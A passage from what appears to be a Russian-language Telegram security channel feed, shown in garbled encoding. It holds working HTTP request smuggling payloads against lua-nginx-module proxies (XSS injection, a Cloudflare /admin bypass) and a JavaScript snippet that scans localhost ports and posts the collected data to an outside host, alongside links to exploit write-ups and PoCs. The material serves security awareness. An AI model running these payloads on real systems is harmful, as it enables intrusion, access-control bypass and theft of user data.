Π΅Π΄ΠΈΠ½Ρ‹ΠΉ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ GET /smuggle находится Π² Ρ‚Π΅Π»Π΅ HEAD-запроса: 
HEAD / HTTP/1.1
Host: localhost
Content-Length: 52

GET /smuggle HTTP/1.1
Host: localhost
Однако lua-nginx-module ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Π΅Π³ΠΎ ΠΊΠ°ΠΊ Π΄Π²Π° ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… запроса, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ рассинхронизации прокси-сСрвСров Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅. Π‘Ρ†Π΅Π½Π°Ρ€ΠΈΠΈ Π°Ρ‚Π°ΠΊ ΠŸΡ€ΠΎΠΊΡΠΈ-сСрвСры, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠ΅ lua-nginx-module, уязвимы ΠΊ этой Π°Ρ‚Π°ΠΊΠ΅ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Kong Gateway, Apache APISIX ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅). ΠŸΡ€ΠΈΠΌΠ΅Ρ€ с Kong Gateway Если Kong Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ, ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ Π½Π΅ прСдставляСт особой опасности. Но Ссли Kong ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² связкС с Ρ„Ρ€ΠΎΠ½Ρ‚-прокси (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Nginx, Cloudflare ΠΈ Ρ‚. Π΄.), Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚: 1. Π’Π½Π΅Π΄Ρ€ΡΡ‚ΡŒ врСдоносныС ΠΎΡ‚Π²Π΅Ρ‚Ρ‹ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, XSS-Π°Ρ‚Π°ΠΊΠΈ). 2. ΠžΠ±Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π·Π°Ρ‰ΠΈΡ‚Ρƒ Ρ„Ρ€ΠΎΠ½Ρ‚-прокси (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΠ±Ρ…ΠΎΠ΄ Cloudflare). 3. ΠŸΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚Ρ‹ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ. 1️⃣ Π’Π½Π΅Π΄Ρ€Π΅Π½ΠΈΠ΅ XSS Ρ‡Π΅Ρ€Π΅Π· смуглинг Π­Ρ‚ΠΎΡ‚ сцСнарий позволяСт Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ всСх ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ врСдоносный ΠΎΡ‚Π²Π΅Ρ‚ с XSS-ΠΊΠΎΠ΄ΠΎΠΌ, Π΄Π°ΠΆΠ΅ Ссли сайт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΎΠ±Ρ‹Ρ‡Π½ΡƒΡŽ страницу Apache. 
HEAD / HTTP/1.1
Host: localhost
Content-Length: 122

HEAD /app HTTP/1.1
Host: localhost
Connection: keep-alive

GET /app/assets?<script>alert(origin)</script> HTTP/1.1
X:
Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚: ВсС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ, ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Π΅ запросы, ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ XSS-скрипт Π² ΠΎΡ‚Π²Π΅Ρ‚Π΅. 2️⃣ ΠžΠ±Ρ…ΠΎΠ΄ Π·Π°Ρ‰ΠΈΡ‚Ρ‹ Ρ„Ρ€ΠΎΠ½Ρ‚-прокси (Cloudflare) Допустим, Cloudflare Π±Π»ΠΎΠΊΠΈΡ€ΡƒΠ΅Ρ‚ доступ ΠΊ /admin. Π—Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΊΡ€Ρ‹Ρ‚ΡŒ GET-запрос ΠΊ /admin Π²Π½ΡƒΡ‚Ρ€ΠΈ HEAD-запроса ΠΈ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ Π·Π°Ρ‰ΠΈΡ‚Ρƒ. ΠŸΡ€ΠΈΠΌΠ΅Ρ€: 
HEAD / HTTP/1.1
Host: victim.com
Content-Length: 40

GET /admin HTTP/1.1
Host: victim.com
Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚: Cloudflare Π½Π΅ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚ GET-запрос, ΠΈ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ смоТСт ΠΎΠ±ΠΎΠΉΡ‚ΠΈ Π·Π°Ρ‰ΠΈΡ‚Ρƒ. 3️⃣ ΠšΡ€Π°ΠΆΠ° ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ² Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ позволяСт Ρ€Π°ΡΡΠΈΠ½Ρ…Ρ€ΠΎΠ½ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ² Π½Π° сСрвСрС ΠΈ Π·Π°Ρ…Π²Π°Ρ‚ΠΈΡ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚Ρ‹ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π°Ρ‚Π°ΠΊΠΈ 1. ΠΡ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΉ отправляСт HEAD-запрос с Π²Π½Π΅Π΄Ρ€Ρ‘Π½Π½Ρ‹ΠΌ GET-запросом. 2. Π‘Π΅Ρ€Π²Π΅Ρ€ ΠΎΡˆΠΈΠ±ΠΎΡ‡Π½ΠΎ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Ρ‚Π΅Π»ΠΎ ΠΊΠ°ΠΊ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ запрос. 3. ΠžΡ‚Π²Π΅Ρ‚ ΠΏΠΎΠΏΠ°Π΄Π°Π΅Ρ‚ Π½Π΅ Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅ΠΌΡƒ, Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌΡƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ, Π° Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°Π±Ρ€Π°Ρ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ ΠΆΠ΅Ρ€Ρ‚Π²Ρ‹. ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΡΡ‚ΠΈ Π‘ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ описаниС Ρ‡ΠΈΡ‚Π°ΠΉΡ‚Π΅ Π² Π±Π»ΠΎΠ³Π΅ ΠΏΠΎ ссылкС. #web #hrs #xss

Fsecurity | HH
Fsecurity | HH
2 068
πŸ‘†ΠŸΡ€Π°Π²Π΄Π° ?
Anonymous voting

Fsecurity | HH
Fsecurity | HH
2 068
Repost from #memekatz
Когда занимаСшься Π±Π°Π³ Π±Π°ΡƒΠ½Ρ‚ΠΈ

Fsecurity | HH
Fsecurity | HH
2 068
πŸ”—Π‘ΡΡ‹Π»ΠΊΠ°: https://www.securitylab.ru/news/557444.php

Fsecurity | HH
Fsecurity | HH
2 068
Discord сСрвСр πŸ‘†πŸ»Π’ΡƒΡ‚ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠΎΠ±Ρ‰Π°Ρ‚ΡŒΡΡ ΠΈ Π½Π°ΠΉΡ‚ΠΈ ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ 🦈

Fsecurity | HH
Fsecurity | HH
2 068
Repost from RedTeam brazzers
Π”Ρ€ΡƒΠ·ΡŒΡ, всСм прСкрасный вСсСнний Π²Π΅Ρ‡Π΅Ρ€! Π’ ΠΌΠΎΠ΅ΠΉ Π³ΠΎΠ»ΠΎΠ²Π΅ Π΄Π°Π²Π½ΠΎ Π±Ρ‹Π»Π° идСя создания нСбольшого списка Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² использования сСртификатов Π² срСдах AD, ΠΏΠΎΠΌΠΈΠΌΠΎ стандартного запроса Π±ΠΈΠ»Π΅Ρ‚Π° ΠΈ UnPAC The Hash. Π’Π°ΠΊ Ρ€ΠΎΠ΄ΠΈΠ»Π°ΡΡŒ нСбольшая ΡΡ‚Π°Ρ‚ΡŒΡ Π½Π° Medium, ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π²Ρ‹ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅ ΠΏΡ€ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ способы изучСния ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ сСртификата ΠΈ нСстандартныС Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹ Π΅Π³ΠΎ использования, ΠΊΠ°ΠΊ Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ для Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΏΠΎ SSH ΠΈΠ»ΠΈ Ρ€Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²ΠΊΠΈ HTTPS-Ρ‚Ρ€Π°Ρ„Ρ„ΠΈΠΊΠ° ΠŸΡ€ΠΈΡΡ‚Π½ΠΎΠ³ΠΎ чтСния πŸ™‚ https://cicada-8.medium.com/adcs-so-u-got-certificate-now-ive-got-nine-ways-to-abuse-it-861081cff082

Fsecurity | HH
Fsecurity | HH
2 068
πŸ”—Π‘ΡΡ‹Π»ΠΊΠ°: https://habr.com/ru/post/889988/

Fsecurity | HH
Fsecurity | HH
2 068

Fsecurity | HH
Fsecurity | HH
2 068
Discord сСрвСр πŸ‘†πŸ»Π’ΡƒΡ‚ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠΎΠ±Ρ‰Π°Ρ‚ΡŒΡΡ ΠΈ Π½Π°ΠΉΡ‚ΠΈ ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ 🦈

Fsecurity | HH
Fsecurity | HH
2 068
Repost from SecuriXy.kz
ΠšΡ‚ΠΎ-Ρ‚ΠΎ (HH) начитался ΠΏΡ€ΠΎ сбор Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΡ‚ Π³ΡƒΠ³Π»Π° ΠΈ фСйсбуков ΠΈ Ρ€Π΅ΡˆΠΈΠ» ΠΏΠΎΠΉΡ‚ΠΈ дальшС сканируя людСй ΠΈ ΠΈΡ… ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ ΠΈ Π°ΠΊΡ‚ΠΈΠ²Ρ‹. https
+1
ΠšΡ‚ΠΎ-Ρ‚ΠΎ (HH) начитался ΠΏΡ€ΠΎ сбор Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΡ‚ Π³ΡƒΠ³Π»Π° ΠΈ фСйсбуков ΠΈ Ρ€Π΅ΡˆΠΈΠ» ΠΏΠΎΠΉΡ‚ΠΈ дальшС сканируя людСй ΠΈ ΠΈΡ… ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ ΠΈ Π°ΠΊΡ‚ΠΈΠ²Ρ‹. https://qna.habr.com/q/465498 https://x.com/nightlind/status/911806158230495232 Π’ΠΎΡ‚ скрипт: https://jsfiddle.net/Lknb3xez/ БнимаСтся WebGL fingerprint. ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‚ΡΡ доступныС ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹, ΠΏΠ»Π°Π³ΠΈΠ½Ρ‹ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. БнимаСтся: 1 Часовой пояс 2 Локализация (язык) 3 Π₯арактСристики Π²ΠΈΠ΄Π΅ΠΎΠΊΠ°Ρ€Ρ‚Ρ‹ ΠΈ CPU 4 ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ экрана, Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ WebRTC 5 ΠŸΡ€ΠΎΠ±ΡƒΠ΅Ρ‚ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒΡΡ ΠΊ localhost Π½Π° Ρ€Π°Π·Π½Ρ‹Ρ… ΠΏΠΎΡ€Ρ‚Π°Ρ…: 
127.0.0.1:22 (SSH)
127.0.0.1:5900 (VNC)
127.0.0.1:3389 (RDP)
127.0.0.1:80, 5000, 8080
ΠΈ Π΄Ρ€. 

let portsToScan = [22, 5900, 3389, 5000, 8080];
portsToScan.forEach(port => {
    let img = new Image();
    img.onload = () => {
        reportOpenPort(port);
    };
    img.onerror = () => {};
    img.src = http://127.0.0.1:${port};
});
ΠžΡ‚ΠΏΡ€Π°Π²ΠΊΠ° собранных Π΄Π°Π½Π½Ρ‹Ρ…
fetch('https://example-hh.ru-backend.com/collect', {
    method: 'POST',
    body: JSON.stringify(collectedData)
});
Π‘ΠΊΡ€ΠΈΠΏΡ‚ Π½Π΅ всСгда Π°ΠΊΡ‚ΠΈΠ²Π΅Π½: ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ Ρ‚ΠΈΠΏ устройства, Π»ΠΎΠΊΠ°Ρ†ΠΈΡŽ, ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½Π΅Π°ΠΊΡ‚ΠΈΠ²Π΅Π½ Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ ΠΈΠ½ΠΊΠΎΠ³Π½ΠΈΡ‚ΠΎ ΠΈΠ»ΠΈ ΠΏΠΎΠ΄ VPN). ВнСдряСтся ΠΏΠΎ вСроятности ΠΈΠ»ΠΈ ΠΏΠΎΠ΄ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ сцСнарии. Π‘ΠΎΠ²Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ - НС ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΠΉΡ‚Π΅ доступ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ никуда…

Fsecurity | HH
Fsecurity | HH
2 068
Repost from SecuriXy.kz
➑️ #CVE-2025-24071 - ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ спуфинга Π² ΠŸΡ€ΠΎΠ²ΠΎΠ΄Π½ΠΈΠΊΠ΅ Windows (File Explorer). πŸ“‚ ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ°ΠΌ ΠΏΠΎΠ΄ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈ ΠΏΠ°ΠΏΠΎΠΊ Π² ΠŸΡ€ΠΎΠ²ΠΎΠ΄Π½ΠΈΠΊΠ΅, маскируя врСдоносныС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΏΠΎΠ΄ бСзопасныС. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ запуску вирусов, ΠΊΡ€Π°ΠΆΠ΅ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ»ΠΈ ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΌ Ρ„ΠΈΡˆΠΈΠ½Π³ΠΎΠ²Ρ‹ΠΌ Π°Ρ‚Π°ΠΊΠ°ΠΌ. πŸ›‘οΈ Microsoft ΡƒΠΆΠ΅ выпустила исправлСниС Π² мартовском Patch Tuesday 2025 Π³ΠΎΠ΄Π°, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ обновляйтС Windows’ы! πŸ’¬ По слухам, эта ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ΄Π°Π²Π°Π»Π°ΡΡŒ Π² Π΄Π°Ρ€ΠΊΠ½Π΅Ρ‚Π΅ Π΄ΠΎ Π²Ρ‹Ρ…ΠΎΠ΄Π° ΠΏΠ°Ρ‚Ρ‡Π°. πŸ“– Π‘Π»ΠΎΠ³-пост с подробностями: πŸ‘‰ https://cti.monster/blog/2025/03/18/CVE-2025-24071.html πŸ’£ PoC: πŸ‘‰ https://github.com/0x6rss/CVE-2025-24071_PoC

Fsecurity | HH
Fsecurity | HH
2 068
πŸ”—Π‘ΡΡ‹Π»ΠΊΠ°: https://www.securitylab.ru/news/557412.php

Fsecurity | HH
Fsecurity | HH
2 068
Repost from 1N73LL1G3NC3
CVE-2025-0927 LPE HFS+ file system implementation in the Linux Kernel contains a heap overflow vulnerability that achieves local privilege escalation on Ubuntu 22.04 for active user sessions. Affected Versions: β€’ Linux Kernel, up to 6.12.0 β€’ Ubuntu 22.04 with Linux Kernel 6.5.0-18-generic